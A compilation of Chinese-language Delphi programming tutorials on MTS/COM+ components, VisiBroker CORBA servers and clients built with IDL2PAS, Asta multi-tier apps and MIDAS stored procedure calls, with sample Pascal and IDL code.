grhunter

摘　要：描述了MTS和COM+组件的原理，演示如何创建、安装、分
关键字：COM COM+ MTS
类　别：COM & ActiveX

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

调用其它MTS组件

    MTS应用程序的设计目的之一是集中多个简单组件，创建比较复杂的系统。这种模式便于开发，可重用性也较高。那么，在组件中调用其它MTS组件要注意些什么呢？

    如果是在MTS环境中，如果第二个组件和第一个组件分享一个事务，就必须通过context对象告诉MTS.很不幸，Borland没有把它作为context对象的一个方面封装进TmtsAutoObject类。

    对象上下文接口（object context interface）有一个叫做CreateInstance的方法，用这个方法，我们可以要求创建其它MTS对象。如果事务模型是“Requires a Transaction"或者“Support Transactions"，新创建的对象将被列入同一个事务中。如果事务模型是“Requires a New Transaction（要求新事务）"，就会有一个新事务被创建。

    TmtsAutoObject有一个保护的属性——ObjectContext，利用它，就能够得到context对象接口。要创建MTSDemo1组件的一个实例，用下面的代码：

    ObjectContext.CreateInstance（CLASS_MTSDemo1， IMTSDemo1， obj）

    CreateInstance得到要创建的类的GUID，返回的接口和接口变量作为它的参数。因为是直接的COM调用，所以要用OLECheck函数来包装它，在出错的时候引起一个Delphi异常。

    下面我们创建第二个MTS对象（MTSDemo2）。这个对象也有一个GetData方法，调用MTSDemo1的GetData方法：

    function TMTSDemo2._GetData： OleVariant；var obj ： IMTSDemo1；begin OLECheck （ObjectContext.CreateInstance（CLASS_MTSDemo1， IMTSDemo1， obj））；try Result ：= obj.GetData；finally obj ：= nil；end{try/finally}；end；

    初始化

    如果需要运行某些代码来初始化MTS组件，不要把这些代码放在Delphi constructor（构造器）或者COM Initialize方法中，而应该放在MTS组件的OnActivate方法里面。这是TmtsAutoObject的一个保护方法，我们要在组件中重载它。组件创建后，MTS将调用这个方法，在真正的方法调用之前做好准备。它总是在方法调用之前被调用，即使组件是从对象缓存池（COM+）中取回的。

    这样做的原因是对象缓存。对于一个被缓存的对象，无论它刚被创建、或是从缓存池中取回，都应该有同样的表现。所以，以同样的方式初始化对象，是非常重要的。

    要做最后的清理工作，在OnDeactivate方法里面操作。

    在上述两个方法中，最好不要出现异常。MTS认为初始化过程不应该失败，所以没有很好地处理这个事件。客户端只会看见一个灾难性失败：没有任何其它可用信息。

    所以，一定要用try/except块封装代码。而且，在OnActivate方法中，如果处理了错误，就应该把相关信息记录到组件中，方法本身应该检查这些信息，如果需要，引发一个异常。

    对象缓存

    假如是为COM+环境开发组件，想利用对象缓存（Object Pooling）的话，请依照下列步骤操作：

    第一，用Both线程模型。

    第二，重载TmtsAutoObject.CanBePooled方法，返回True.缺省值是False，关闭缓存功能。

    第三，无论对象是刚被创建还是从缓存池中取回，它都应该初始化为同样状态。

    最后，可能是最困难的，确保对象是线程安全的，这已经超出本文讨论范围。

MTS组件——从理论到实践（五）
grhunter

摘　要：描述了MTS和COM+组件的原理，演示如何创建、安装、分
关键字：MTS COM COM+
类　别：COM & ActiveX

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

把组件安装到MTS环境

我们已经做好一个MTS组件，现在需要测试它了。首先要把它安装到MTS环境。如果在Delphi中，简单地选择"Run|Install MTS Object"就可以了。"安装MTS对象（Install MTS Object）"向导将会询问容纳组件的MTS包（COM+应用程序）名称。

图七 MTS组件安装向导--选择组件

选定要安装的组件，在接着出现的对话框中，你可以选择一个已有的包，或者指定名称、创建一个新包。只需要输入名字即可，当然也可以输入关于包的描述。其它都交给向导完成。

图八 MTS对象安装向导--指定容纳组件的包

MTS包

什么是包？（什么是Windows 2000中的COM+应用程序？）

MTS组件是进程内DLL，所以需要一个应用程序进程来运行。对于MTS，这个程序就是mtx.exe；对于COM+，就是dllhost.exe。如果所有组件都在同一个进程空间运行，任何致命异常都会导致所有MTS应用程序失败。MTS把组件放到包里面，每个包都在独立的进程中运行，这样来尽可能地限制损坏发生。

一个包可以包括来自多个dll的组件，一个dll中的组件可以分散到多个包。唯一的限制是一个组件只能在一个包中出现。

在MTS环境中，除了提供进程隔离，包还可以用来定义安全分界。所有来自外部的调用都要经过检查，看是否有足够的权限。包内调用不被检查。在COM+中，安全检查在更适宜的层次进行，甚至可以细致到对每个方法进行安全设置。
MTS组件——从理论到实践（六）
grhunter

摘　要：描述了MTS和COM+组件的原理，演示如何创建、安装、分
关键字：MTS COM COM+
类　别：COM & ActiveX

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

调试

现在组件已经安装到MTS中了，如何运行、调试它呢？

我们需要一个调用组件方法的客户端程序。我总是为每个组件/组件组创建一个测试程序，这样便于调试和测试。

对于MTSDemo1组件，我们要做一个简单的窗体，包括一个DBGrid，一个DataSource，一个ADODataset和一个按钮。按钮单击代码：

procedure TForm1.Button1Click(Sender: TObject);
var
obj : variant;
begin
obj := CreateOleObject ('MTSDemo1Lib.MTSDemo1');
ADOTable1.Recordset := IUnknown(obj.GetData) as _Recordset; ;
end;
（把项目保存为MTSDemo1Lib）。

为了调试MTS组件，需要指定组件的宿主程序和参数。MTS的宿主程序是mtx.exe，在system32目录中。对于COM+，宿主程序是dllhost.exe，也是在system32目录。

二者的参数不同：

MTS： /p:"".
COM+： /ProcessID:{}.

这样，就可以从Delphi中运行组件，用任意客户端来调用，调试组件。为了同时调试组件和测试程序，用"Project|Build All Projects"菜单项进行编译。然后，运行组件和测试程序。

发布

完全测试好组件之后，准备发布组件。在MTS环境，用Transaction Server Explorer（事务服务器浏览）；在COM+环境，用Component Services（组件服务）。这两个工具具有类似资源管理器的界面，非常易于使用：

图九 组件服务

在左边的树状视图中，右击一个包，选择"导出（export）"，就可以导出包。我们得到一个包文件和dll的拷贝，还有全部安全设置。同时，MTS也创建一个客户端安装程序，用来在客户端计算机注册COM组件。

注意：客户端安装将注册导出包的服务器。一般我们从开发环境导出包，先安装到产品机，然后从产品机导出包，创建客户端安装程序。

一旦把包安装到产品机，就要指定组件事务模型，进行安全设置。

MTS的安全模型规则适用于NT用户组和组用户。规则授权对组件（或COM+中的单独方法）的存取。如有需要，可以用TmtsAutoObject方法IsCallerInRole和IsSecurityEnabled来进行组件内的精确控制，不过一般不需要这样做。

在Transaction Server Explorer中，利用上下文菜单，可以进行规则的创建、用户和组的指派以及组件规则的指定。


Visibroker应用

《关于VisiBroker For Delphi的使用》

-CORBA技术实践（一）

宜昌市中心人民医院 赵普昉

email: 3boy@sohu.com

一、如何创建服务器对象

在Delphi中使用了IDL2PAS向导,改变了原有的创建CORBA应用服务器的方式,不能再用Typelibrary编写接口申明，而现在我们只有通过手工编写接口来创建CORBA对象，而我们创建的CORBA不用再分发DLL形式的CORBA支持这样一来简化了我们

发布CORBA的过程。

下面我们简要的来看一下如何使用IDL2PAS向导以及创建一个简单的CORBA程序

1、 如果你的程序含有TdataMoudle对象,那么你可以像在开发C/S模式中一样放上自己将要使用的数据组件,当然还有数据提供者组件。注意multi_layer可不是C/S,你的用于客户段调用的应用服务器处理可不能在这个DataMoudle中申明，不过在这里你可以编写服务器自己处理的代码，而后声明你的接口方法,当然这个接口声明要写在IDL文件中,例如

文件名称：CRB.IDL

module Crb{

interface CrbDBServer{

void GetData();

};

};

上面这个申明的接口中的方法是一个无类型的方法，那么接下来就要将IDL文件转化为PAS文件了,如果你已经创建了项目,那么，你可以在Delphi6.0的菜单栏中选择

Regenerate IDL file(即再次转化IDL文件),如果你还没有，请到FILE->Other中，选到CORBA页（注意：不要选择mutiler的CORBA对象），点击CORBA Server Appliction ,然后会出现一个对话框，会提示你是要创建控制台程序还是要创建窗口应用程序，并要你加入你的接口声明文件，我将CRB.IDL加入进去,会由向导创建4个基本文件，分别会以CRB为前缀创建CRB_s.pas,CRB_i.pas,CRB_impl,CRB_C

文件，这些文件分别代表的意义是：

CRB_s.pas：（XXX_S）创建服务器主干单元{Server skeleton unit}

CRB_i.pas：(XXX_I) 创建Pascal接口单元

CRB_impl：（XXX_impl）创建服务器执行单元申明

CRB_c.pas:(XXX_C) 创建客户段的骨架单元{Client stub unit}

其中_s,_c,_I我们都可以暂时不去看它,_impl就是我们要添加代码的地方这个单元是这样写的

TCRBDBServer = class;

TCRBDBServer = class(TInterfacedObject, CRB_i.CRBDBServer)

protected

{******************************}

{*** 在这儿加入用户自定义变量 ***}

{******************************}

public

constructor Create;

procedure GetData ;

end;

implementation

constructor TCRBDBServer.Create;

begin

inherited;

{ *************************** }

{ *** 在这儿加入初始化代码*** }

{ *************************** }

end;

procedure TCRBDBServer.GetData ;

begin

{ *************************** }

{ *** 在这儿加入过程处理代码 *** }

{ *************************** }

end;

initialization

end.

然后，在你的主控单元中写下如下代码：

1）、uses中添加CRB_c, CRB_i, CRB_impl, CRB_s；

2）、protected

//添加自定义变量

Crb_Server:CRBDBServer;

为客户段创建一个实例

3）、在procedure InitCorba;过程中填写

Crb_Server:=TCRBDBServerSkeleton.Create('Crb服务器',TCRBDBServer.Create);

BOA.ObjIsReady(Crb_Server as _Object);

好你可以激活smart agent运行一下，这样一个简单的服务器端初步完成了。虽然它什么也不干,但是却是一个CRB服务器。下一节，我们将继续讨论，如何创建一个更复杂的CRB服务器。

你试了没有，下一次可又要开始了

**以上是个人看法，如果有不对的地方请多加原谅**

《关于VisiBroker For Delphi的使用》

-CORBA技术实践（二）

宜昌市中心人民医院 赵普昉

email: 3boy@sohu.com

2,一个真实的CORBA小服务程序

我们都知道无论是Ejb,Com/Dcom/MTS/Com+,还是Midas/Corba这样一些三层体系，最重要的架构中介体系，对于理论上的东西，较为抽象没有必要在这里谈这样一些高深的理论，这些还是留给大师去述说吧，我们只需要理解大师们交给我们的工具就可以了，我们可以叫这些中介集群为中介对象群，实际上就是把我们在C/S中的公共部分或人机交互程序分为了，人与程序，程序与数据库之间的交互，这样做的目的大师们说的

非常好了。经过程序系统架构师的设计，我们可以清晰的看到我们的中介对象，也就是那些以不同形式放在，应用服务器上的对象。客户程序可以完全不去理会后台过多的执行明细，服务程序不用过多的被客户程序所牵制，一切都由Interface来发布所有的衔接规则。那么剩下来的问题就非常简单了，那就是有什么样的接口，接口可以独立于客户与服务器而独立编写，这就是我们的Corba for Delphi6中强调的东西。

在我们申明接口之前我首先简要的叙述一下IDL2PAS的一些相关保留字和操作符

AND ARRAY AS ASM

BEGIN CASE CLASS CONST

CONSTRUCTOR DESTORY DISPINTERFACE

DIV DO DOWNTO ELSE

END EXCEPT EXPORTS FILE

FINALIZATION FINALLY FOR FUNCTION

GOTO IF IMPLEMENTATION IN

INHERITED INITIALIZATION INLINE INTERFACE

IS LABEL LIBARAY MOD

NIL NOT OBJECT OF

OR PACKED PROCEDURE PROGRAM

PROPERTY RAISE RECORD REPEAT RESOURCESTRING

SET SHL SHR STRING THEN THREADVAR

TO TRY TYPE UNIT UNTIL USER VAR

WHILE WITH XOR

沿用的Pascal保留字

Boolean Char WideChar Shortint Smallint Integer Byte

Word Extended Pointer AnsiChar Longint Cardinal Single

Double Real Real48 Comp Currency ShortString Openstring file

Text TextFile PAnsiChar PChar PWideChar ByteBool Wordbool

LongBool AnsiString WideString TVarArrayBound PVarArray TVarData PVarData TVarArray PShortString PAnsiString PWideString PString Pextended

PCurrency TDateTime PVarRec String Variant TObject Tclass Iunknown

TinterfaceObject TGUID PGUID Int64 Application Screen Print Printer

（将与PASCAL做一个比较,注意大小写）

数据基本类型

IDL 类型 Pascal 类型

boolean Boolean

char Char

wchar WideChar

octet Byte

string AnsiString

wstring WideString

short SmallInt

unsigned short Word

long Integer

unsigned long Cardinal

long long Int64

unsigned long long Int64

float Single

double Double

long double Extended

fixed {没有对应类型}

以上的保留字和操作符会在我的文章中足一介绍，这里就不具体描述了。

我们开始编一个小程序来说明一下

照样先申明一个接口描述：

表示我要传递一个任意类型信息

module Crb{

interface TestAny{

any getany()；//注意大小写

}；

} ；

现在按照我们上一届讲的生成框架代码，接下来我们在Crb_impl中加入

Result := StrToInt(Form1.Edit1.Text);

加在那儿呢加在Getany方法中哪,如下

function TTestAny.GetAny : ANY;

begin

Result := StrToInt(Form1.Edit1.Text);

end;

这个接口的意义是将我们的服务程序的主窗体上的Edit1上的字符串返回给接口，以便于客户程序从接口获得该字符数据。

当然必须在我们的主窗体上作如下声明

unit ServerMain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Corba,

CRB_I, CRB_C, CRB_S, CRB_Impl, StdCtrls;

type

TForm1 = class(TForm)

Label1: TLabel;

Edit1: TEdit;

procedure FormCreate(Sender: TObject);

private

{ private declarations }

protected

MyAnyTest :TTestAny; // 主干对象

procedure InitCorba;

public

{ public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.InitCorba;

begin

CorbaInitialize;

//加入CRB服务代码

MyAnyTest := TTestAnySkeleton.Create('Any Test Server', TMyTest.Create);

BOA.ObjIsReady(MyAnyTest as _Object);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

InitCorba;

end;

end.

接下来我们的客户程序如何获得这个字符串呢？

那么我们只需要在客户程序中去引用这个接口方法就够了，代码如下

unit ClientMain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, Corba, CRB_I, CRB_C;

type

TForm1 = class(TForm)

Button1: TButton;

Label1: TLabel;

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

procedure FormDestroy(Sender: TObject);

private

{ Private declarations }

FromIStr :TTestAny;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);

begin

CorbaInitialize;

FromIStr:= TTestAnyHelper.bind;//创建一个接口的实例

end;

procedure TForm1.Button1Click(Sender: TObject);

var myAny : Any;

begin

myAny := FromIStr.GetAny();//引用接口实例的方法

Label1.Caption := IntToStr(myany);

//将方法的结果转化为字符串，付给Label1.Caption

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

FromIStr:= nil;

//释放接口实例对象

end;

end.

您理解上面的程序吗？下一小节我们将继续讲解如何传递一个数组对象，错误之处还请来函指正哟！下次再见

《关于VisiBroker For Delphi的使用》(3)

-CORBA技术实践（一）

宜昌市中心人民医院 赵普昉

email: 3boy@sohu.com

3,数组对象与简单数据对象的传递

前面提到了一些较为简单的数据操作，我们都可以想象一下，如果操作CORBA对象与操作C/S结构的数据对象一样的方便，那么CORBA又有什么神奇了，不知道看过李维的分布式多层应用系统的书籍时，是否留意到李维对CORBA的评价，无论你看过

还是没有看过，我都要告诉正在使用CORBA编程的朋友们，CORBA比COM/COM+简单，而CORBA的跨平台特性，以及与COM/COM+同样的负载平衡能力，足以让我们将这项分布式技术应用到应用体系的设计之中，其实对于使用Borland的产品开发分布式系统无论你采用CORBA或是COM/COM+其实最核心的技术就是MIDAS，因为

你总可以在CORBA/COM/COM+中看到MIDAS的影子，所以我建议无论你是准备学习CORBA还是学习COM/COM+最好先学习一下MIDAS,本文不涉及MIDAS，关于MIDAS请看李维的《Delphi5.X分布式多层应用—系统篇》。

为什么我从开始就一直要大家使用文本编辑器之类的东西书写IDL，而不用TypeLibrary

来书写IDL,其实我觉得只是为了让刚刚接触CORBA的程序员获得一些更多的IDL方面的知识罢了，在实际的开发中你可以完全很方便的使用TypeLibrary来编写接口规则。

下面我简要的列举几类IDL书写的事例与利用IDL2PAS生成的PASCAL代码。

1、）常量的定义

/**IDL书写**/

module MyCRB{

const long iMyConst=1;

interface myFace {

const long iiMyConst=2;

};

};

/**Pascal**/

unit MyCRB_I;

interface

uses Corba;

const

iMyCOnst:integer=1;

myFace_iiMyConst=2;

2、)不在接口中申明的常量

/**IDL**/

module MyCRB{

const long myconst=1;

};

/*pascal*/

unit MyCRB_I;

interface

const myconst:integer=1;

3、)枚举类型

/*IDL*/

enum MyCRBKind{A,B,C,D,……..}

/*pascal*/

myCRBkind=(A,B,C,D……..);

4、）结构体

/*IDL*/

struct mystructtype{

long X;

string Y;

boolean Z;

};

/*pascal*/

//XXX_I.pas

type mystructtype=interface;

//XXX_C.pas

mystructtype=interface

function _get_X:integer;

function _get_Y:string;

function _get_Z:boolean;

procedure _set_X(const Value:integer);

procedure _set_Y(const Value:string);

procedure _set_Z(const Value:boolean);

property X:integer read _get_X write _Set_X;

property Y:string read _get_Y write _Set_Y;

property Z:boolean read _get_Z write _Set_Z;

…….

还有太多的代码，自己创建一个看一下，为了节约篇幅我就不做详细的翻译了

下面请大家试一下以下的申明会生成什么样的Pascal代码

5、）联合体

union un_exp switch(long)

{

case 1:long x;

case 2:string y;

case 3:st_exp Z;

};

6、sequence(我理解为动态数组)

typedef sequence <long> UnboundeSeq;

typedef sequence <long,42> ShortBoundSeq

7, 数组

const long ArrayBound=10;

typedef long longArray[ArrayBound];

8, 抽象接口

module exp{

interface myface{

long op(in string s);

};

};

9,多重继承

module M{

interface A{

void A1();

void A2();

};

interface B{

void B1();

void B2();

};

interface AB:B,A{

void AB1()

void AB2();

};

};

10,交叉模型定义

module m1{

interface if1;

module m2{

interface if2{

m1::if1 getIf1();

};

interface if1{

m2::if2 getif2()

};

};

};

以上我介绍了一些数据的定义规范,然而我们需要不仅仅是这样的一些比较抽象的接口定义法则,我们要将法则应用到实际的开发中去,那么我们又是如何运用这些法则了,对于接口描述语言的翻译我前面讲到直接使用IDL2PAS就不讲了,以后的章节中也不会在去将如何转换的问题。下面我们实践一下：

编写接口定义一个返回为浮点类型，输入为短整型变量数组对象的方法

typedef short ArrayType[3];

//自定义类型定义长度为3的数组

interface Account {

float InputArray(in ArrayType myArray);//输入为整形数组，返回类型为float的方法

};

//服务端程序的处理xxx_impl.pas

interface

uses

SysUtils,

CORBA,

account_i,

account_c;

type

TAccount = class;

TAccount = class(TInterfacedObject, account_i.Account)

protected

//******************

public

constructor Create;

function InputArray ( const myArray : account_i.ArrayType): Single;

end;

implementation

uses ServerMain;

constructor TAccount.Create;

begin

inherited;

end;

function TAccount. InputArray (const myArray : account_i.ArrayType): Single;

var

j: Integer;

begin

// account_i.ArrayType是指我们自定义的数组类型在account_I单元中

for j := 0 to 2 do

begin

Form1.Memo1.Lines.Add('myArray[' + IntToStr(j) + '] = ' + IntToStr(myArray[j]) );

//接受从客户端传递过来的数组变量并将其依次加入到主窗体的MEMO中

end;

result := random * 100;//返回一个随机数

end;

initialization

randomize;

end.

//服务端程序主单元

unit ServerMain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Corba,

Account_I, Account_C, Account_S, Account_Impl, StdCtrls;

type

TForm1 = class(TForm)

Memo1: TMemo;

procedure FormCreate(Sender: TObject);

private

{ private declarations }

protected

{ protected declarations }

Acct : Account; // skeleton 对象

procedure InitCorba;

public

{ public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.InitCorba;

begin

CorbaInitialize;

// Add CORBA server Code Here

Acct := TAccountSkeleton.Create('Array Server', TAccount.Create);

BOA.ObjIsReady(Acct as _Object);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

InitCorba;

Memo1.Lines.Add('Account object created...');

Memo1.Lines.Add('Server is ready');

end;

end.

//客户端程序

unit ClientMain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Corba, StdCtrls, Account_I, Account_C;

type

TForm1 = class(TForm)

Button1: TButton;

Label1: TLabel;

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ private declarations }

protected

{ protected declarations }

Acct : Account;

myArray : ArrayType;

procedure InitCorba;

public

{ public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.InitCorba;

begin

CorbaInitialize;

Acct := TAccountHelper.bind;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

j: Integer;

begin

InitCorba;

for j := 0 to 2 do

myArray[j] := (j + 1) * 100;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Label1.Caption := FormatFloat('InputArray = $#,##0.00', Acct.inputArray(myArray));

end;

end.

上面的程序实例很简单我就不一一说明了，下面我们来看一个数据访问的实例

//IDL

interface Employee {

any getEmployeesByName(in string name);

};

接口方法声明单元

//XXX_Impl.pas

interface

uses

SysUtils,

CORBA,

employee_i,

employee_c;

type

TEmployee = class;

TEmployee = class(TInterfacedObject, employee_i.Employee)

public

constructor Create;

function getEmployeesByName ( const name : AnsiString): ANY;

end;

implementation

uses dmEmployee,DMPooler, provider,DSIntf,ServerMain;

constructor TEmployee.Create;

begin

inherited;

end;

function TEmployee.getEmployeesByName ( const name : AnsiString): ANY;

var

DM: TdmEmploy;

RecsOut: Integer;

Options: TGetRecordOptions;

begin

Options := [grMetaData,grReset]; //must specify meta data

DM := ModulePooler.GetModule as TdmEmploy; //Get instance of datamodule from Pool

try

DM.qryEmployee.Close;

DM.qryEmployee.ParamByName('name').AsString:= name + '%';

//显示连接服务器的数量

Inc(Form1.HitCount);

Form1.Label1.Caption := Format('Hit Count = %d', [Form1.HitCount]);

DM.qryEmployee.Open;

Result:=DM.proEmployee.GetRecords(-1, RecsOut, Byte(Options));

DM.qryEmployee.Close;

finally

ModulePooler.FreeModule(DM);//Return instance of DataModule to pool

end;

end;

initialization

//将TdmEmploy对象放入共享池中

ModulePooler.ModuleClass := TdmEmploy;

end.

//共享池的声明单元

主要描述如何提供一个多客户的访问数据提供

unit DMPooler;

interface

uses SysUtils, Classes, Forms, SyncObjs, Windows;

type

//本单元用于为每个客户提供一个独立使用的DataModule对象，相当于我们在以前的CORBA DataModule中选择创建的多线程对象一样的功能

TDataModuleClass = class of TDataModule; //定义类

TPooledModule = record//声明记录类型

Module: TDataModule; //继承标准的TdataModule

InUse: Boolean; //标明上面继承的TdataModule是否在使用

end;

TModulePooler = class

private

FCSect: TCriticalSection; //允许线程自己改变FModules

FModuleClass: TDataModuleClass; //在共享池中类化TDataModule

FModules: array of TPooledModule; //定义一个动态的对象记录数组

FSemaphore: THandle; //限定同时使用的用户规则

public

property ModuleClass: TDataModuleClass read FModuleClass write FModuleClass;

constructor Create;

destructor Destroy; override;

function GetModule: TDataModule;

procedure FreeModule(DataModule: TDataModule);

end;

const

PoolSize = 5;

var

ModulePooler: TModulePooler = nil;

implementation

uses Dialogs;

{ TModulePool }

constructor TModulePooler.Create;

begin

IsMultiThread := True;

FCSect := TCriticalSection.Create;

FSemaphore := CreateSemaphore(nil, PoolSize, PoolSize, nil);

end;

destructor TModulePooler.Destroy;

begin

FCSect.Free;

CloseHandle(FSemaphore);

end;

procedure TModulePooler.FreeModule(DataModule: TDataModule);

var

I: Integer;

begin

FCSect.Enter;

try

for I := 0 to Length(FModules) - 1 do

if FModules[I].Module = DataModule then

FModules[I].InUse := False;

ReleaseSemaphore(FSemaphore, 1, nil);

finally

FCSect.Leave;

end;

end;

function TModulePooler.GetModule: TDataModule;

var

I: Integer;

begin

Result := nil;

if WaitForSingleObject(FSemaphore, 5000) = WAIT_TIMEOUT then

raise Exception.Create('Server too busy');

FCSect.Enter;

try

if Length(FModules) = 0 then

begin

SetLength(FModules, PoolSize);

for I := 0 to PoolSize - 1 do

begin

FModules[I].InUse := False;

FModules[I].Module := FModuleClass.Create(Application);

end;

end;

for I := 0 to Length(FModules) - 1 do

if not FModules[I].InUse then

begin

FModules[I].InUse := True;

Result := FModules[I].Module;

Break;

end;

finally

FCSect.Leave;

end;

//检查曾经是否连接

if not Assigned(Result) then

raise Exception.Create('Pool is out of capacity');

end;

initialization

ModulePooler := TModulePooler.Create;

finalization

ModulePooler.Free;

end.

//本单元是一个通用的方法单元，当然您也可以采用其他的方法来完成这样的一个功能

//DataModule单元

unit dmEmployee;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Db, DBTables, Provider;

type

TdmEmploy = class(TDataModule)

Session1: TSession;

EmployeeDatabase: TDatabase;

qryEmployee: TQuery;

proEmployee: TDataSetProvider;

private

{ Private declarations }

public

{ Public declarations }

end;

var

dmEmploy: TdmEmploy;

implementation

{$R *.DFM}

end.

//服务器的主单元

unit ServerMain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Grids, DBGrids, Db, DBTables, StdCtrls, Corba, Employee_I, Employee_C,

Employee_S, Employee_Impl；

type

TForm1 = class(TForm)

Label1: TLabel;

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

procedure CorbaInit;

public

{ Public declarations }

hitcount : integer;

end;

var

Form1: TForm1;

myDBServer : Employee;

implementation

{$R *.DFM}

procedure TForm1.CorbaInit;

begin

CorbaInitialize;

myDBServer := TEmployeeSkeleton.Create('myServer', TEmployee.Create);

Boa.ObjIsReady( myDBServer as _Object );

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

CorbaInit;

end;

end.

//客户端程序

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, Grids, Corba, Employee_i, Employee_c, Db, DBClient, ExtCtrls,

DBCtrls, DBGrids;

type

TForm1 = class(TForm)

Button1: TButton;

DBGrid1: TDBGrid;

cdsEmployee: TClientDataSet;

DataSource1: TDataSource;

edtEmployeeName: TEdit;

Memo1: TMemo;

Label1: TLabel;

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

myEmployee : Employee;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

myEmployee := TEmployeeHelper.bind;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

cdsEmployee.Data := myEmployee.getEmployeesByName(edtEmployeeName.Text);

cdsEmployee.Open;

end;

end.

我想大家应该可以看得懂上面的程序，如果看不懂也不要紧，下一次我将围绕这个实例展开一系列的问题描述并会同时于COM+/MIDAS进行比较说明，为了让大家留下一个思维的空间我在这里就不多说了。还是那一句话下次再见

我的哲学：“无论是CORBA还是COM+异或是EJB等等最终都是殊途同归”


Asta多层应用程序的实现

---- 随着Internet/intranet的发展，多层应用和分布式瘦客户数据库应用程序逐渐得到广泛应用。在多层应用的开发方式中，Delphi提供了Midas构件，第三方提供了Asta 、Midware等。经过使用，相比较而言，Asta所提供的构件易学易用方便灵巧，客户端程序无须任何数据库引擎或动态连结库即可方便的实现多层应用，且客户、服务器可实现实时信息传输。可以说，Asta为普通程序员提供了无须专门培训即可成为复杂多层应用程序开发高手的简单途径。

---- 1． 认识Asta

---- 象普通的Delphi构件一样，在Delphi环境下安装Asta即可看到该页标上有AstaClientSocket 、AstaClienDataset 、AstaServerSocket 、AstaDataSet 等构件，其中关键是AstaClientSocket 、AstaClienDataset 、AstaServerSocket。其中，AstaClient由一个AstaClientSocket 和至少一个AstaClienDataset 组成。AstaServer的核心是AstaServerSocket。Database可以是现在流行的任何数据库产品，如Sybase 、Informix 、MS-SQLserver等。

---- 2． 如何实现多层应用

---- Asta本身带有两个例子服务器程序，一个是BDEserver，另一个是ODBCserver。这两个服务器程序设计的很完善，稍加改造（汉化）即可直接使用。我们使用BDE服务器。 本例以Paradox本地数据库为例，说明如何开发客户端软件。

---- 2．1 运行BDE服务器程序，出现数据连结窗口，弹开组合框选择别名BDEDEMOS，确定。

---- 2．2 进入Delphi环境，建立新应用netapp.dpr，窗体上分别放置AstaClientSocket1、AstaClienDataset1。AstaClientSocket1的Adress属性填入服务器程序所在机器的IP地址。若服务器程序在同一台机器上，则IP地址默认为127.0.0.1。Port属性与服务器程序端口一致（若服务器程序未作改动此值为9000，当然也可选用其他数值）。AstaClienDataset1的属性与一般数据表Ttable相同，首先选择DataBasename属性，然后选取tablename。最后把Active 设为true（相当于执行了SQL语句：Select * from [tablename]）。本例中tablename选取employee.db。

---- 3． 把结果表现出来

---- 同一般数据库应用程序一样，在窗体上放入Datasource1，其Dataset属性设为AstaClientSocket1，放入DBGrid，其Datasource设为 Datasource1，则简单客户程序就完成了。

---- 运行此程序即可看到数据表格。此客户端程序无须任何动态库即可在客户端运行，是完全的瘦客户。需要注意的是，AstaClientSocket的ConnectAction属性有多种选择，分别规定了客户端到服务器端的连结状况，大家可分别试试看有何结果。至于安全性设置、实时信息传递，可参阅随机帮助文件。


快速生成一个 Corba 服务对象

从Delphi 4开始，Borland 就宣称 Delphi 支持它称为 one-step Corba 的功能。只需要一步用户就可以生成一个 Corba 服务对象。下面为你介绍做法。

首先，自行创建一个 Midas Server，然后于 remote data module(远程数据模块)的初始化代码区中右击鼠标，你会看到一个弹出菜单，点击 Expose as Corba object 菜单项(下图1示).

图1:

之后 Delphi 将会为你做大量的工作把 Midas server 转化成 Corba server。要注意的是，请记住在下图2中高亮显示的 RepositoryID 号，这是十分重要的。

图2：

然后编译程序，要连接此服务器，首先要启动 Visibroker Smart Agent,然后再运行此 Corba server.

在客户端设计时，将 TCorbaConnection 拖到 Form 上，在 server RepositoryID 中键入刚才记下的 RepositoryID 属性（不要指定 server name,Corba 会自动为你发现该运行的 sever 的，然后将 connected 属性置为 true.It's OK 了。

感受：Delphi 的的确确为我们编程更轻松做了大量的工作啊！


使用MIDAS在客户端执行存贮过程

本文为你演示怎样在客户端执行存贮过程。

假如你的存贮过程返回一个数据集，那你需要调用 TStoredProc 的 Open 方法，然后，只需要使用 TDataSetProvider 来连接它就行了。效果很好。

假如你的存贮过程不返回一个数据集，这就意味着需要调用 TStoreProc 的 ExecProc 方法。步骤是：

1 为你的接口增添一个方法

procedure ExecProc(Params: Integer);

2 在 remote data module中写实现代码

procedure ExecProc(Params: Integer);

begin

StoredProc1.ParamByName('@Param').AsInteger := Params;

StoredProc1.ExecProc;

end;

3 在客户端，调用此过程

DComConnection1.AppServer.ExecProc(1);


MIDAS 中动态强制约束编程

作者： 陈一蛟
引言

